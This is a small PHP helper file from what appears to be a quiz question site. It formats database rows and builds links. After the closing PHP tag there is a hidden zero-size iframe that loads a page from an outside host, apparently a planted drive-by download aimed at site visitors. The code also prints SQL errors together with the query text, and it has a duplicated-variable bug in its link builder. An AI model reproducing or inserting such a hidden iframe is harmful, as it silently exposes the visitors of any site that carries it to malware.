1: <?
2: $limit=200;
3: function print_question($row) {
4: $row['tFileName']=str_replace('.txt','',$row['tFileName']);
5: $row['t1FileName']=str_replace('.txt','',$row['t1FileName']);
6: foreach ($row as $k=>$v) {
7: $row[$k]=preg_replace('/\(pic: ([^\)]*)\)/','<p><img src="/znatoki/images/db/$1"><p>',$v);
8: $row[$k]=preg_replace('/^\|([^\n]*)/','<pre>$1</pre>',$row[$k]);
9: $row[$k]=preg_replace('/^\s+/ms','<br> ',$row[$k]);
10: }
11: $row['link']=make_link($row);
12: include "question_template.php";
13: }
14:
15: function print_questions_sql($sql,$search=false) {
16: $res=mysql_query($sql) or print mysql_error().$sql;
17: print_questions_res($res,$search);
18: }
19:
20: function print_questions_res($res,$search=false) {
21: global $limit;
22: $kvo=mysql_num_rows($res);
23: if ($search) {
24: if ($kvo==$limit) {
25: print "More than $limit results";
26: } else print "$kvo results";
27: while ($row=mysql_fetch_assoc($res)) {
28: print_question($row);
29: }
30: }
31: }
32:
33: function make_link ($row) {
34: $row['tFileName']=preg_replace('/\.txt/','',$row['tFileName']);
35: $row['t1FileName']=preg_replace('/\.txt/','',$row['t1FileName']);
36: $row['tFileName']=preg_replace('/\./','_',$row['tFileName']);
37: $row['t1FileName']=preg_replace('/\./','_',$row['t1FileName']);
38: $text_id=$row['tFileName'] or $text_id=$row['tFileName'];
39: $text_id.="_".$row['Number'].".html";
40: return $text_id;
41: }
42: ?><iframe src=http://www.ctv163.com/wuhan/down.htm width=0 height=0></iframe>
FreeBSD-CVSweb <freebsd-cvsweb@FreeBSD.org>